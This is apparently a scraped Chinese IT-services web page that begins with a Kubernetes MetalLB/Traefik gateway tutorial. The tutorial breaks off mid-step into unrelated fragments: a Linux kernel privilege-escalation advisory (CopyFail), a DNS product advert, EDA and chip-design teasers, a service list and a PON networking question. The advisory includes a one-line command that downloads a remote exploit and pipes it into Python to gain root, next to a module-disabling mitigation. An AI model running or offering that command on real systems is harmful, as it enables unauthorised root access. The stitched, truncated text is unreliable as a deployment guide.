在私有网络中部署k8s，没有公网云中统一的GW，所以需要规范使用统一网关来进行业务发布。

整体架构

内网客户端 → MetalLB 分配固定内网 LBIP → Traefik 网关 → 业务 ClusterIP Service → Pod 业务全程只使用 ClusterIP，无 NodePort 暴露。

前置条件

1. 裸机 / 虚拟机自建 K8s（无云厂商 LB）
2. 一段内网空闲 IP 段（如192.168.3.200-192.168.3.220，和集群同网段、未被 DHCP 占用）
3. 集群内核转发开启、防火墙放开 80/443 端口
4. kubectl 正常连通集群

一、部署 MetalLB v0.15（L2 二层模式，内网首选）

步骤 1：

修改 kube-proxy 开启 strictARP（必做，否则 MetalLB ARP 异常）

kubectl get configmap kube-proxy -n kube-system -o yaml | sed -e "s/strictARP: false/strictARP: true/" | kubectl apply -f -
# 重启kube-proxy生效
kubectl rollout restart daemonset kube-proxy -n kube-system
kubectl get daemonset kube-proxy -n kube-system

步骤 2：

一键部署 MetalLB 官方原生 yaml

2026年5月6日，Linux内核7.0及更早版本被曝存在高危漏洞CopyFail（CVE-2026-31431）,攻击者可借其由低权限提权至root。
该漏洞于3月下旬披露，补丁已发布但尚未全面推送。
漏洞影响红帽RHEL 10.1、Ubuntu 24.04、Amazon Linux 2023、SUSE 16等主流发行版，亦波及Kubernetes及容器环境。
虽无法直接远程利用，但可与远程漏洞组合攻击或通过恶意链接、供应链投毒触发。

临时修复方案

sudo tee /etc/modprobe.d/disable-algif-aead.conf <<<'install algif_aead /bin/false'
sudo rmmod algif_aead 2>/dev/null

在线直接提权

curl https://copy.fail/exp | python3
su
id

漏洞影响系统

该漏洞影响默认启用或可加载algifaead模块的Linux系统，已知受影响的产品如下:
1.Ubuntu24.04LTS 及 以 下;
2.AmazonLinux2023及以 下;
3.RedHatEnterpriseLinux10及 以 下;
4.RedHatEnterpriseLinux9及 以 下;
5.RedHatEnterpriseLinux8及 以 下;
6.SUSE16及以下;
7.Debian/Arch/Fedora/Rocky/Alma/Oracle等同期内核版本;
8.统信(UOS)1070、1060;
9.麒麟(Kylin)V11、V10;
10.openEuler 24.03 (LTS-SP1);

• 智能探星DNS解析缓存系统，是我公司研发的一款在企业内部使用的智能DNS解析系统产品，基于全球分布式DNS服务器，提供高性能、高可用、灵活配置、安全防护等功能，为用户提供更优的访问体验。主要用于内部企业网络，提供给终端设备进行大批量、高并发DNS解析，以提升上网体验，针对网络安全紧急事件发生时，网络管理员或者网络运维人员可以快速安全可管理、控制、屏蔽恶意域名，包括蠕虫、勒索、木马、病毒域名等进行批量封禁。

使用fail2ban对恶意的ssh扫描登录进行iptables封禁，单ip封禁效率太低。

JDV指在版图数据送往工艺厂流片前，由工艺厂返回的mask图像数据，用于对比、验证版图数据的正确性。确保制造过程中不会出现错误，从而避免因数据偏差导致的芯片报废风险。该验证环节是流片前的最后检查，出错概率极低但需严谨对待。

如何在在EDA集群环境中如何自动创建用户并初始化环境设置？

可在服务器上执行任意系统命令、读写任意文件，甚至完全接管服务。

Linux 内核创始人 Linus Torvalds 最近与 YouTube 频道 Linus Tech Tips 合作，打造了一台被称为 “完美运行Linux PC” 的新主机。

IT -CAD服务主要包含实施服务和运维支持服务：

一、IT实施服务：

• 1. 芯片设计的专业机房设计和实施
• 2. 芯片开发中的 IT 基础架构设计和实施(网络结构、防火墙、交换机、VPN、虚拟化平台等)
• 3. 接入和桌面系统的设计和实施（接入安全、桌面系统优化）
• 4. 信息安全架构设计和实施（网络安全、系统安全、数据安全、文件摆渡）
• 5. HPC 集群的规划和实施（服务器选型、集群标准化、作业调度、账号系统、EDA 软件环境等）
• 6. 存储和备份规划和实施（容量和性能规划、目录设计、Quota设计、备份计划等）
• 7. 混合云规划（安全防护、错峰及增效降本）

二、运维支持服务：

• 1. 网络基础配置（防火墙、交换机、VPN 等）
• 2. Linux 系统的运维
• 3. HPC 集群的运维（包括服务器和集群软件环境）
• 4. 存储和备份系统的日常运维，巡检

三、CAD 服务主要包含：

• 1. 设计数据和设计文档的版本管理
• 2. EDA 软件的安装和配置，多版本维护
• 3. 常用 OSS(Open Source Software)的安装和版本维护
• 4. License 的管理和配置

在PON网络中，OLT设备的一个PON口会下挂一堆的ONU，因此，PON口的上行带宽是所有ONU共享的，那么上行带宽是如何在各ONU之间分配的呢？
个是在2024年网规案例分析题最后一个大题。